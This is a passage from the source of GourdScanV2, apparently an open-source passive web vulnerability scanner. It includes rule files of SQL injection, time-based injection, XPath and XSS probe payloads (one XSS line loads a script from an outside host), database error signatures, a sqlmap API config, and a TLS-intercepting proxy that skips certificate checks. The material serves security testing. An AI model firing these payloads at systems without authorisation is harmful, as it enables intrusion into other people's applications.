69 | A Parser Error \(syntax error\)
70 | java.sql.SQLException
71 | Unexpected end of command in statement
72 | \[Macromedia\]\[SQLServer JDBC Driver\]
73 | could not prepare statement
74 | Unknown column
75 | where clause
76 | SqlServer
77 | syntax error
78 | Procedure '[^']+' requires parameter '[^']+'
79 | PLS-[0-9][0-9][0-9][0-9]
80 | ORA-[0-9][0-9][0-9][0-9]
81 | Table '[^']+' doesn't exist
82 | SELECT .*? FROM .*?
83 | UPDATE .*? SET .*?
84 | INSERT INTO .*?
85 |
86 |
87 |
88 |
89 | %20and 1=@@version -- t
90 | ' and 1=@@version -- t
91 | " and 1=@@version -- t
92 | ') and 1=@@version -- t
93 | ") and 1=@@version -- t
94 | ) and 1=@@version -- t
95 | %20and 1=convert(int,(select host_name())) -- t
96 | ' and 1=convert(int,(select host_name())) -- t
97 | " and 1=convert(int,(select host_name())) -- t
98 | ") and 1=convert(int,(select host_name())) -- t
99 | ') and 1=convert(int,(select host_name())) -- t
100 | ) and 1=convert(int,(select host_name())) -- t
101 | %20and updatexml(1,concat(0x7e,(SELECT md5(123)),0x7e),1)-- t
102 | ' and updatexml(1,concat(0x7e,(SELECT md5(123)),0x7e),1)-- t
103 | ') and updatexml(1,concat(0x7e,(SELECT md5(123)),0x7e),1)-- t
104 | " and updatexml(1,concat(0x7e,(SELECT md5(123)),0x7e),1)-- t
105 | ") and updatexml(1,concat(0x7e,(SELECT md5(123)),0x7e),1)-- t
106 | ) and updatexml(1,concat(0x7e,(SELECT md5(123)),0x7e),1)-- t
107 | %20and extractvalue(1, concat(0x7e, (select md5(123)),0x7e))-- t
108 | ' and extractvalue(1, concat(0x7e, (select md5(123)),0x7e))-- t
109 | " and extractvalue(1, concat(0x7e, (select md5(123)),0x7e))-- t
110 | ") and extractvalue(1, concat(0x7e, (select md5(123)),0x7e))-- t
111 | ') and extractvalue(1, concat(0x7e, (select md5(123)),0x7e))-- t
112 | ) and extractvalue(1, concat(0x7e, (select md5(123)),0x7e))-- t
113 | %20AND EXP(~(SELECT * FROM (SELECT CONCAT(0x71,(SELECT md5(123)),0x71,0x78))x))
114 | ' AND EXP(~(SELECT * FROM (SELECT CONCAT(0x71,(SELECT md5(123)),0x71,0x78))x))
115 | " AND EXP(~(SELECT * FROM (SELECT CONCAT((0x71,(SELECT md5(123)),0x71,0x78))x))
116 | ") AND EXP(~(SELECT * FROM (SELECT CONCAT(0x71,(SELECT md5(123)),0x71,0x78))x))
117 | ') AND EXP(~(SELECT * FROM (SELECT CONCAT(0x71,(SELECT md5(123)),0x71,0x78))x))
118 | ) AND EXP(~(SELECT * FROM (SELECT CONCAT(0x71,(SELECT md5(123)),0x71,0x78))x))
119 | %20and(select 1 from(select count(*),concat((select (select (select md5(123))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- t
120 | ' and(select 1 from(select count(*),concat((select (select (select md5(123))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- t
121 | ') and(select 1 from(select count(*),concat((select (select (select md5(123))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- t
122 | " and(select 1 from(select count(*),concat((select (select (select md5(123))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- t
123 | ") and(select 1 from(select count(*),concat((select (select (select md5(123))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- t
124 | ) and(select 1 from(select count(*),concat((select (select (select md5(123))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- t
125 |
126 |
127 | Microsoft SQL Server
128 | System.Data.SqlClient.SqlConnection.OnError
129 | 202cb962
130 | mysql_fetch_array\(\)
131 | You have an error in your SQL syntax
132 |
133 |
134 |
--------------------------------------------------------------------------------
/conf/rules/sqlitime.rule:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | 1+or+sleep(TIME_VAR)%23
6 | '+and+sleep(TIME_VAR)%23
7 | "+and+sleep(TIME_VAR)%23
8 | +and+sleep(TIME_VAR)%23
9 | )+and+sleep(TIME_VAR)%23
10 | ')+and+sleep(TIME_VAR)%23
11 | '))+and+sleep(TIME_VAR)%23
12 | ")+and+sleep(TIME_VAR)%23
13 | "))+and+sleep(TIME_VAR)%23
14 | ;WAITFOR DELAY '00:00:TIME_VAR';--
15 | ';WAITFOR DELAY '00:00:TIME_VAR';--
16 | ');WAITFOR DELAY '00:00:TIME_VAR';--
17 | );WAITFOR DELAY '00:00:TIME_VAR';--
18 | ";WAITFOR DELAY '00:00:TIME_VAR';--
19 |
20 |
21 |
22 |
23 | +and+sleep(TIME_VAR)-- t
24 | )+and+sleep(TIME_VAR)-- t
25 | "+and+sleep(TIME_VAR)-- t
26 | ')+and+sleep(TIME_VAR)-- t
27 | '))+and+sleep(TIME_VAR)-- t
28 | '+and+sleep(TIME_VAR)-- t
29 | 1+or+sleep(TIME_VAR)-- t
30 | ")+and+sleep(TIME_VAR)-- t
31 | "))+and+sleep(TIME_VAR)-- t
32 |
33 |
34 |
35 |
36 | %20AND 9436=BENCHMARK(NUM_VAR,MD5(0x7852554f))-- t
37 | %20OR SLEEP(TIME_VAR)-- t
38 | ' AND 9436=BENCHMARK(NUM_VAR,MD5(0x7852554f))-- t
39 | ' OR SLEEP(TIME_VAR)-- t
40 | ') AND 9436=BENCHMARK(NUM_VAR,MD5(0x7852554f))-- t
41 | ') OR SLEEP(TIME_VAR)-- t
42 | ") AND 9436=BENCHMARK(NUM_VAR,MD5(0x7852554f))-- t
43 | ") OR SLEEP(TIME_VAR)-- t
44 | " AND 9436=BENCHMARK(NUM_VAR,MD5(0x7852554f))%23
45 | " OR SLEEP(TIME_VAR)%23
46 | %20AND 9436=BENCHMARK(NUM_VAR,MD5(0x7852554f))%23
47 | %20OR SLEEP(TIME_VAR)%23
48 | ' AND 9436=BENCHMARK(NUM_VAR,MD5(0x7852554f))%23
49 | ' OR SLEEP(TIME_VAR)%23
50 | ') AND 9436=BENCHMARK(NUM_VAR,MD5(0x7852554f))%23
51 | ') OR SLEEP(TIME_VAR)%23
52 | ") AND 9436=BENCHMARK(NUM_VAR,MD5(0x7852554f))%23
53 | ") OR SLEEP(TIME_VAR)%23
54 | " AND 9436=BENCHMARK(NUM_VAR,MD5(0x7852554f))%23
55 | " OR SLEEP(TIME_VAR)%23
56 |
57 |
58 |
--------------------------------------------------------------------------------
/conf/rules/sqlmap.rule:
--------------------------------------------------------------------------------
1 | {
2 | "crawlDepth": null,
3 | "osShell": false,
4 | "getUsers": false,
5 | "getPasswordHashes": false,
6 | "excludeSysDbs": false,
7 | "uChar": null,
8 | "regData": null,
9 | "prefix": null,
10 | "code": null,
11 | "googlePage": 1,
12 | "skip": null,
13 | "query": null,
14 | "randomAgent": false,
15 | "osPwn": false,
16 | "authType": null,
17 | "safeUrl": null,
18 | "requestFile": null,
19 | "predictOutput": false,
20 | "wizard": false,
21 | "stopFail": false,
22 | "forms": false,
23 | "pivotColumn": null,
24 | "dropSetCookie": false,
25 | "smart": false,
26 | "risk": 1,
27 | "sqlFile": null,
28 | "rParam": null,
29 | "getCurrentUser": false,
30 | "notString": null,
31 | "getRoles": false,
32 | "getPrivileges": false,
33 | "testParameter": null,
34 | "tbl": null,
35 | "charset": null,
36 | "trafficFile": null,
37 | "osSmb": false,
38 | "level": 1,
39 | "skipStatic": false,
40 | "secondOrder": null,
41 | "outputDir": null,
42 | "skipWaf": false,
43 | "timeout": 30,
44 | "firstChar": null,
45 | "torPort": null,
46 | "regRead": false,
47 | "binaryFields": null,
48 | "checkTor": false,
49 | "commonTables": false,
50 | "direct": null,
51 | "tmpPath": null,
52 | "titles": false,
53 | "getSchema": false,
54 | "identifyWaf": false,
55 | "paramDel": null,
56 | "safeReqFile": null,
57 | "regKey": null,
58 | "limitStart": null,
59 | "crawlExclude": null,
60 | "flushSession": false,
61 | "loadCookies": null,
62 | "dnsName": null,
63 | "csvDel": ",",
64 | "offline": false,
65 | "method": null,
66 | "disablePrecon": false,
67 | "osBof": false,
68 | "testSkip": null,
69 | "invalidLogical": false,
70 | "getCurrentDb": false,
71 | "hexConvert": false,
72 | "proxyFile": null,
73 | "answers": null,
74 | "host": null,
75 | "dependencies": false,
76 | "proxy": null,
77 | "regType": null,
78 | "optimize": false,
79 | "limitStop": null,
80 | "search": false,
81 | "uFrom": null,
82 | "noCast": false,
83 | "testFilter": null,
84 | "eta": false,
85 | "csrfToken": null,
86 | "threads": 1,
87 | "logFile": null,
88 | "os": null,
89 | "col": null,
90 | "rFile": null,
91 | "proxyCred": null,
92 | "verbose": 1,
93 | "isDba": false,
94 | "updateAll": false,
95 | "privEsc": false,
96 | "forceDns": false,
97 | "getAll": false,
98 | "api": true,
99 | "invalidBignum": false,
100 | "regexp": null,
101 | "getDbs": false,
102 | "freshQueries": false,
103 | "uCols": null,
104 | "smokeTest": false,
105 | "wFile": null,
106 | "udfInject": false,
107 | "invalidString": false,
108 | "tor": false,
109 | "forceSSL": false,
110 | "ignore401": false,
111 | "beep": false,
112 | "noEscape": false,
113 | "configFile": null,
114 | "scope": null,
115 | "authFile": null,
116 | "torType": "HTTP",
117 | "regVal": null,
118 | "dummy": false,
119 | "safePost": null,
120 | "skipUrlEncode": false,
121 | "referer": null,
122 | "liveTest": false,
123 | "purgeOutput": false,
124 | "retries": 3,
125 | "extensiveFp": false,
126 | "dumpTable": false,
127 | "batch": true,
128 | "authCred": null,
129 | "osCmd": null,
130 | "suffix": null,
131 | "dbmsCred": null,
132 | "regDel": false,
133 | "shLib": null,
134 | "sitemapUrl": null,
135 | "timeSec": 5,
136 | "msfPath": null,
137 | "dumpAll": false,
138 | "getHostname": false,
139 | "sessionFile": null,
140 | "disableColoring": true,
141 | "getTables": false,
142 | "safeFreq": null,
143 | "agent": null,
144 | "lastChar": null,
145 | "string": null,
146 | "dbms": null,
147 | "dumpWhere": null,
148 | "tamper": null,
149 | "hpp": false,
150 | "runCase": null,
151 | "delay": 0,
152 | "evalCode": null,
153 | "cleanup": false,
154 | "csrfUrl": null,
155 | "getBanner": false,
156 | "profile": false,
157 | "getComments": false,
158 | "bulkFile": null,
159 | "db": null,
160 | "excludeCol": null,
161 | "dumpFormat": "CSV",
162 | "alert": null,
163 | "nullConnection": false,
164 | "user": null,
165 | "parseErrors": false,
166 | "getCount": false,
167 | "dFile": null,
168 | "regAdd": false,
169 | "ignoreProxy": false,
170 | "getColumns": false,
171 | "mobile": false,
172 | "googleDork": null,
173 | "crawDepth": "true",
174 | "saveConfig": null,
175 | "sqlShell": false,
176 | "pageRank": false,
177 | "tech": "BEUSTQ",
178 | "textOnly": false,
179 | "cookieDel": null,
180 | "commonColumns": false,
181 | "keepAlive": false
182 | }
--------------------------------------------------------------------------------
/conf/rules/xpath.rule:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | d'z\"0
6 | <!--
7 |
8 |
9 | System.Xml.XPath.XPathException:
10 | MS.Internal.Xml.
11 | Unknown error in XPath
12 | org.apache.xpath.XPath
13 | A closing bracket expected in
14 | An operand in Union Expression does not produce a node-set
15 | Cannot convert expression to a number
16 | Document Axis does not allow any context Location Steps
17 | Empty Path Expression
18 | DOMXPath::Empty Relative Location Path
19 | Empty Union Expression
20 | Expected ')' in
21 | Expected node test or name specification after axis operator
22 | Incompatible XPath key
23 | Incorrect Variable Binding
24 | libxml2 library function failed
25 | libxml2
26 | Invalid predicate
27 | Invalid expression
28 | xmlsec library function
29 | xmlsec
30 | error '80004005'
31 | A document must contain exactly one root element.
32 | <font face="Arial" size=2>Expression must evaluate to a node-set.
33 | Expected token ']'
34 | <p>msxml4.dll</font>
35 | <p>msxml3.dll</font>
36 | 4005 Notes error: Query is not understandabl
37 |
38 |
39 |
--------------------------------------------------------------------------------
/conf/rules/xss.rule:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | '"/><script>alert(/RANDOMIZE/)</script>
6 | '"/><img src=x onerror=alert(/RANDOMIZE/)>
7 | '"/><img src=x onerror=console.log(/RANDOMIZE/)>
8 | '"/><img src="x" onerror="alert(/HIHIHI/)">
9 | '"/><SCRIPT/SRC=HTTP://R.W/></SCRIPT>
10 | '"/><SCRIPT>alert(/RANDOMIZE/);//<</SCRIPT>
11 | '"/><meta http-equiv="refresh" content="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
12 |
13 |
14 |
15 |
16 | <script>alert(/RANDOMIZE/)</script>
17 | <img src=x onerror=alert(/RANDOMIZE/)>
18 | <img src=x onerror=console.log(/RANDOMIZE/)>
19 | <img src="x" onerror="alert(/HIHIHI/)">
20 | <script></script>
21 | <SCRIPT/SRC=HTTP://R.W/></SCRIPT>
22 | <SCRIPT>alert(/RANDOMIZE/);//<</SCRIPT>
23 | <meta http-equiv="refresh" content="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
24 |
25 |
26 |
27 |
28 | 'RANDOMIZE</->
29 | RANDOMIZE/*
30 | RANDOMIZE"RANDOMIZE
31 | RANDOMIZE'RANDOMIZE
32 | RANDOMIZE`RANDOMIZE
33 | RANDOMIZE =
34 |
35 |
36 |
--------------------------------------------------------------------------------
/conf/session:
--------------------------------------------------------------------------------
1 | 78663336c8fee940200fd61b5c64236e
2 | 9ee802f251ba1e8b6ac22047fa98d38a
3 | bba1cdbd1e6b18fefc73e41012b1ecf1
4 |
--------------------------------------------------------------------------------
/gourdscan.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # coding: utf-8
3 |
4 | VERSION = "2.1"
5 |
6 | logo = """
7 | _____ _
8 | / ____| | |
9 | | | __ ___ _ _ _ __ __| |
10 | | | |_ | / _ \ | | | | | '__| / _` |
11 | | |__| | | (_) | | |_| | | | | (_| |
12 | \_____| \___/ \__,_| |_| \__,_| Ver %s
13 |
14 | By YSRC Team
15 | """ % VERSION
16 |
17 | import os
18 | import site # Add the boilerplate's directories to Python's site-packages path.
19 | import tornado.web
20 | import tornado.ioloop
21 | from tornado.options import define, options
22 | from lib import out
23 | from lib import config
24 | from lib.update import check_update
25 | from web.urls import url_patterns
26 |
27 |
28 | def make_app(settings):
29 | return tornado.web.Application(url_patterns, **settings)
30 |
31 |
32 | def main():
33 | define("port", default=int(config.load()["port"]), type=int)
34 | define("address", default=config.load()["ip"])
35 | tornado.options.parse_command_line()
36 | path = lambda root, *a: os.path.join(root, *a)
37 | ROOT = os.path.dirname(os.path.abspath(__file__))
38 | settings = {}
39 | settings['static_path'] = path(ROOT, "web", "static")
40 | settings['template_loader'] = tornado.template.Loader(path(ROOT, "web", "templates"))
41 | settings['login_url'] = "/login"
42 | settings['debug'] = False
43 | site.addsitedir(path(ROOT, 'handlers'))
44 | conf = config.load()
45 | conf['scapy_stat'] = 'false'
46 | conf['tornado_stat'] = 'false'
47 | conf['scan_stat'] = 'false'
48 | conf['mix_stat'] = 'false'
49 | conf['tornado_run_stat'] = 'false'
50 | config.update(conf)
51 | app = make_app(settings)
52 | app.listen(port=options.port, address=options.address)
53 | out.good("Web app start at: http://%s:%s" % (options.address, options.port))
54 | tornado.ioloop.IOLoop.current().start()
55 |
56 | if __name__ == '__main__':
57 | # check update
58 | check_update()
59 |
60 | print logo
61 | main()
62 |
--------------------------------------------------------------------------------
/lib/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/lib/__init__.py
--------------------------------------------------------------------------------
/lib/config.py:
--------------------------------------------------------------------------------
1 | # coding: utf-8
2 |
3 | """
4 | Config and update/reload file
5 | get test param:
6 | config.load()["test"]
7 | """
8 |
9 | import warnings
10 | import json
11 | import os
12 | import out
13 |
14 | from lib.settings import CHECK_CONF_FILE
15 | from lib.settings import RULES_CONF_FILE
16 | from lib.settings import RULES_PATH
17 |
18 |
19 | warnings.filterwarnings("ignore")
20 |
21 |
22 | def load():
23 | with open(CHECK_CONF_FILE) as con:
24 | try:
25 | conf = json.load(con)
26 | return conf
27 | except:
28 | out.error("conf.json error, please download another one and replace it.")
29 | exit()
30 |
31 | def update(conf):
32 | with open(CHECK_CONF_FILE, 'w') as con:
33 | content = json.dumps(conf).replace("{", "{\n").replace("}", "\n}").replace(", ", ",\n").replace("'", '"')
34 | con.write(content)
35 | return
36 |
37 |
38 | def load_rule():
39 | with open(RULES_CONF_FILE) as con:
40 | conf = json.load(con)
41 | return conf
42 |
43 |
44 | def update_rule(rule):
45 | with open(RULES_CONF_FILE, 'w') as con:
46 | content = json.dumps(rule)
47 | con.write(content)
48 |
49 |
50 | def rule_read(name, get_file_handle=None):
51 | if get_file_handle:
52 | return os.path.join(RULES_PATH, name + '.rule')
53 | with open(os.path.join(RULES_PATH, name + '.rule')) as con:
54 | content = con.read()
55 | return content
56 |
57 |
58 | def rule_write(name, rule):
59 | with open(os.path.join(RULES_PATH, name + '.rule'), "w") as con:
60 | con.write(rule)
61 |
--------------------------------------------------------------------------------
/lib/out.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | import sys
4 | import ctypes
5 | import platform
6 |
7 | '''
8 | print good or error message
9 | '''
10 |
11 | def windows_out(color, msg):
12 | STD_OUTPUT_HANDLE = -11
13 | std_out_handle = ctypes.windll.kernel32.GetStdHandle(STD_OUTPUT_HANDLE)
14 | ctypes.windll.kernel32.SetConsoleTextAttribute(std_out_handle, color)
15 | print msg
16 | ctypes.windll.kernel32.SetConsoleTextAttribute(std_out_handle, 0x0c|0x0a|0x09)
17 |
18 | def good(msg):
19 | if "Windows" not in platform.platform():
20 | color = '\033[01;32m'
21 | endc = '\033[0m'
22 | print "[+] " + color + msg + endc
23 | else:
24 | windows_out(0x0a, "[+] %s" % msg)
25 |
26 |
27 | def warning(msg):
28 | if "Windows" not in platform.platform():
29 | color = '\033[01;37m'
30 | endc = '\033[0m'
31 | print "[*] " + color + msg + endc
32 | else:
33 | windows_out(0x06, "[*] %s" % msg)
34 |
35 | def error(msg):
36 | if "Windows" not in platform.platform():
37 | color = '\033[01;31m'
38 | endc = '\033[0m'
39 | print "[*] " + color + msg + endc
40 | else:
41 | windows_out(0x0c, "[+] %s" % msg)
42 |
43 | def jump(url):
44 | return "" % url
45 |
46 | def alert(content, url):
47 | return "" % (content, url)
48 |
--------------------------------------------------------------------------------
/lib/redisopt.py:
--------------------------------------------------------------------------------
1 | # coding=utf-8
2 |
3 | import json
4 | import redis
5 | import base64
6 | import urlparse
7 |
8 | from hashlib import md5
9 |
10 | from lib.settings import CHECK_CONF_FILE
11 | from lib import config
12 |
13 |
14 | '''
15 | Connect redis and excute the command of redis from other class
16 | Deal with packet insert things
17 | '''
18 |
19 | with open(CHECK_CONF_FILE) as conf:
20 | workerconf = json.load(conf)
21 | redisconf = {}
22 | redisconf['host'] = workerconf["redis_host"]
23 | redisconf['password'] = workerconf['redis_pass']
24 | redisconf['port'] = workerconf['redis_port']
25 |
26 | conn = redis.StrictRedis(**redisconf)
27 |
28 |
29 | def get_hash(host, uri, postdata):
30 | request = 'http://%s%s?' % (host, urlparse.urlparse(uri).path)
31 | dic = urlparse.urlparse(uri).query.split('&')
32 | for param in dic:
33 | if param != "" and "=" in param:
34 | request += param.split('=')[0]+'=&'
35 | request += "|"
36 | for param in postdata.split('&'):
37 | if param != "" and "=" in param:
38 | request += param.split('=')[0]+'=&'
39 | url_hash = md5(request).hexdigest()
40 | return url_hash
41 |
42 |
43 | def content_deal(headers, host, method, postdata, uri, packet):
44 | u = urlparse.urlparse(uri)
45 | url = uri.split(u.netloc)[-1]
46 | white_domain = config.load()['white_domain']
47 | black_domain = config.load()['black_domain']
48 | black_ext = config.load()['black_ext']
49 | for ext in black_ext.split(','):
50 | if u.path.lower().endswith("."+ext):
51 | return
52 | for domain in black_domain.split(','):
53 | if u.netloc.lower().split(':')[0].endswith(domain):
54 | return
55 | if white_domain != "":
56 | for domain in white_domain.split(','):
57 | if not u.netloc.lower().split(':')[0].endswith(domain):
58 | return
59 | reqhash = get_hash(host, uri, postdata)
60 | if 'Gdscan' not in headers.keys():
61 | request = {
62 | 'headers': headers,
63 | 'host': host,
64 | 'method': method,
65 | 'postdata': postdata,
66 | 'url': uri,
67 | 'packet': packet
68 | }
69 | b64req = base64.encodestring(json.dumps(request))
70 | if conn.hsetnx("request", reqhash, b64req):
71 | conn.lpush("waiting", reqhash)
72 |
--------------------------------------------------------------------------------
/lib/secure.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # coding: utf-8
3 |
4 | import os
5 | import cgi
6 | import socket
7 |
8 | '''
9 | Some func to make the system stable
10 | '''
11 |
12 |
13 | def clear(s):
14 | return cgi.escape(s).replace("'", """).replace('"', "\"")
15 |
16 |
17 | def kill(addr, port, data):
18 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
19 | sock.connect((addr, port))
20 | sock.send(data)
21 | sock.recv(102400)
22 |
23 | def check_requirements():
24 | try:
25 | import requests
26 | import tornado
27 | import redis
28 | import scapy
29 | except:
30 | yes = raw_input('Do you want to install those module with the command "pip install"? (Y/n)')
31 | if yes == '' or yes.lower() == 'y' or yes.lower() == 'yes':
32 | os.system("pip install requests tornado redis scapy")
33 | try:
34 | import requests
35 | import tornado
36 | import redis
37 | import scapy
38 | print "Requirements is OK!"
39 | return
40 | except Exception, e:
41 | exit('Something going wrong with pip: %s, please run "pip install requests tornado redis scapy" manualy!' % e)
42 |
43 | def check_redis():
44 | try:
45 | from lib.redisopt import conn
46 | except:
47 | yes = raw_input('Something wrong with the redis, Do you want to run the command "redis-server ./conf/redis.conf"? (Y/n)')
48 | if yes == '' or yes.lower() == 'y' or yes.lower() == 'yes':
49 | os.system("redis-server ./conf/redis.conf")
50 | try:
51 | from lib.redisopt import conn
52 | except Exception, e:
53 | exit("Something wrong with the redis: %s, please check it manualy!" % e)
--------------------------------------------------------------------------------
/lib/session.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # coding: utf-8
3 |
4 | import os
5 | import time
6 |
7 | import md5
8 |
9 | from lib import config
10 | from lib.settings import SESSION_CONF_FILE
11 |
12 | '''
13 | Create session string or update a session into session file.
14 | Control the length of session file to make sure it will not be too big.
15 | Destroy a session string to make it logout.
16 | '''
17 |
18 |
19 | def new(ip):
20 | return md5.new(config.load()["cookie_secret"] + str(time.time()) + ip).hexdigest()
21 |
22 |
23 | def check(session):
24 | with open(SESSION_CONF_FILE, 'r+') as f:
25 | lines = f.readlines()
26 | f.close()
27 | for line in lines:
28 | if session == line.strip():
29 | return True
30 | return False
31 |
32 |
33 | def update(session):
34 | size_control()
35 | with open(SESSION_CONF_FILE, 'a') as f:
36 | f.write(session + '\n')
37 | f.close()
38 | return True
39 |
40 |
41 | def destroy(session):
42 | with open(SESSION_CONF_FILE, 'r') as f:
43 | lines = f.readlines()
44 | f.close()
45 | ff = open(SESSION_CONF_FILE, 'w')
46 | for line in lines:
47 | if session != line.strip():
48 | ff.write(line)
49 | ff.close()
50 | return True
51 |
52 |
53 | def size_control():
54 | if os.path.getsize(SESSION_CONF_FILE) > config.load()["session_size"]:
55 | with open(SESSION_CONF_FILE, 'r') as f:
56 | lines = f.readlines()
57 | f.close()
58 | ff = open(SESSION_CONF_FILE, 'w')
59 | size = 0
60 | for line in lines:
61 | size += len(line)
62 | if size < config.load()["session_size"]:
63 | ff.write(line)
64 | else:
65 | ff.close()
66 | return
67 | print size
68 | ff.close()
69 |
--------------------------------------------------------------------------------
/lib/settings.py:
--------------------------------------------------------------------------------
1 | # coding: utf-8
2 |
3 | import os
4 |
5 | ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
6 |
7 | CHECK_CONF_FILE = os.path.join(ROOT, 'conf/', 'conf.json')
8 |
9 | RULES_PATH = os.path.join(ROOT, 'conf/', 'rules/')
10 |
11 | RULES_CONF_FILE = os.path.join(RULES_PATH, 'rule.conf')
12 |
13 | SESSION_CONF_FILE = os.path.join(ROOT, 'conf/', 'session')
14 |
15 | CONF_PATH = os.path.join(ROOT, 'conf/')
--------------------------------------------------------------------------------
/lib/update.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # coding: utf-8
3 |
4 | import requests
5 |
6 | from lib import config
7 | from lib import out
8 |
9 | '''
10 | Checking update when it start
11 | '''
12 |
13 |
14 | def check_update():
15 | out.good("Checking update...")
16 | try:
17 | res = requests.get(config.load()['check_url'], timeout=10)
18 | version = res.content
19 | if version != config.load()['version']:
20 | update()
21 | return True
22 | else:
23 | return False
24 | except:
25 | out.error("Can not connect to update server!")
26 | return False
27 |
28 |
29 | def update():
30 | out.warning("New version is ok!")
31 | out.warning("Please update Gourdscan with git(git pull https://github.com/ysrc/GourdScanV2.git)")
32 |
--------------------------------------------------------------------------------
/proxy/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/proxy/__init__.py
--------------------------------------------------------------------------------
/proxy/mix_proxy.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #coding: utf-8
3 |
4 | import re
5 | import ssl
6 | import socket
7 | import warnings
8 | import requests
9 | import threading
10 |
11 | from lib.settings import CONF_PATH
12 | from lib.redisopt import conn, content_deal
13 | from lib import config
14 |
15 | warnings.filterwarnings("ignore")
16 |
17 | """
18 | Mix proxy with HTTP and HTTPS.
19 | Use local key file and cert file to get https flow.
20 | If there is a "connect" method first, then https it is.
21 | Else it's a http packet.
22 | Request to remote server with python requests lib.
23 | Put requests into redis server to scan.
24 | Black_domain and black_ext had wroten into this script.
25 | White_domain are loaded from white_domain.conf split by "," in one line!
26 | """
27 |
28 |
29 | def https_things(sock):
30 | context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
31 | context.load_cert_chain(certfile=CONF_PATH + "key.crt", keyfile=CONF_PATH + "key.pem")
32 | connstream = context.wrap_socket(sock, server_side=True)
33 | client_conn(connstream, True)
34 |
35 |
36 | def get_str(res):
37 | code = str(res.status_code)
38 | reason = res.reason
39 | data = ''
40 | headers = res.headers
41 | wrong_head = ['Content-Encoding', 'Transfer-Encoding', 'content-encoding', 'transfer-encoding']
42 | for i in wrong_head:
43 | if i in headers.keys():
44 | del headers[i]
45 | headers['Content-Length'] = len(res.content)
46 | data += 'HTTP/1.1 %s %s\r\n' % (code, reason)
47 | for key in res.headers.keys():
48 | data += '%s: %s\r\n' % (key, headers[key])
49 | data += '\r\n' + res.content
50 | return data
51 |
52 |
53 | def get_res(data, connstream, https):
54 | try:
55 | headers = {}
56 | post = ''
57 | if data[0:7] == 'CONNECT':
58 | connstream.sendall("HTTP/1.1 200 Connection established\r\n\r\n")
59 | https_things(connstream)
60 | return
61 | if not re.search('(GET|POST) (.*) HTTP', data):
62 | return
63 |
64 | methods = re.findall('(GET|POST) (.*) HTTP', data)[0]
65 | url = methods[1]
66 | method = methods[0]
67 |
68 | if method == 'GET':
69 | head = data.split('\r\n')[1:]
70 | for h in head:
71 | if ': ' in h[2:]:
72 | headers[h.split(': ')[0]] = h.split(': ')[1]
73 | host = headers['Host'].replace(' ', '')
74 |
75 | if not https:
76 | uri = url
77 | else:
78 | uri = "https://%s%s" % (host, url)
79 | print uri
80 | content_deal(headers, host, method, postdata='', uri=uri, packet=data)
81 |
82 | if 'Host' in headers.keys():
83 | del headers['Host']
84 |
85 | res = requests.get(uri, headers=headers, verify=False)
86 | response = get_str(res)
87 | connstream.sendall(response)
88 | connstream.close()
89 | return
90 |
91 | elif method == 'POST':
92 | body = data.split('\r\n\r\n')[1]
93 | head = data.split('\r\n\r\n')[0].split('\r\n')[1:]
94 | for h in head:
95 | if ': ' in h[2:]:
96 | headers[h.split(': ')[0]] = h.split(': ')[1]
97 | host = headers['Host'].replace(' ', '')
98 |
99 | if not https:
100 | uri = url
101 | else:
102 | uri = "https://%s%s" % (host, url)
103 | print uri
104 | content_deal(headers, host, method, postdata=body, uri=uri, packet=data)
105 |
106 | if 'Host' in headers.keys():
107 | del headers['Host']
108 |
109 | res = requests.post(uri, headers=headers, data=body, verify=False)
110 | response = get_str(res)
111 | connstream.sendall(response)
112 | connstream.close()
113 | return
114 |
115 | except Exception, e:
116 | if 'url' in dir():
117 | print url
118 | print "Http Error: " + str(e)
119 | try:
120 | err = "HTTP/1.1 500 Internal Server Error\r\n"
121 | err += "Content-Length-Type: text/html;\r\n"
122 | err += "Content-Length: 17\r\n\r\n"
123 | err += "HTTP Error"
124 | connstream.sendall()
125 | connstream.close()
126 | except Exception as e:
127 | pass
128 |
129 |
130 | def client_conn(connstream, https=False):
131 | try:
132 | connstream.settimeout(2)
133 | data = ""
134 | while True:
135 | tmp = connstream.recv(10240)
136 | data += tmp
137 | if tmp == '':
138 | break
139 | except Exception as e:
140 | pass
141 | connstream.settimeout(10)
142 | get_res(data, connstream, https)
143 |
144 |
145 | def main():
146 | try:
147 | addr = config.load()['mix_addr']
148 | port = int(config.load()['mix_port'])
149 | bindsocket = socket.socket()
150 | bindsocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
151 | bindsocket.bind((addr, port))
152 | bindsocket.listen(300)
153 | except Exception as e:
154 | conf = config.load()
155 | conf['mix_stat'] = "false"
156 | config.update(conf)
157 | print e
158 | exit()
159 | while config.load()['mix_stat'].lower() == "true":
160 | try:
161 | connstream, fromaddr = bindsocket.accept()
162 | t = threading.Thread(target=client_conn, args=(connstream,))
163 | t.start()
164 | except Exception as e:
165 | print e
166 | if 'connstream' in dir():
167 | connstream.close()
168 | bindsocket.close()
169 |
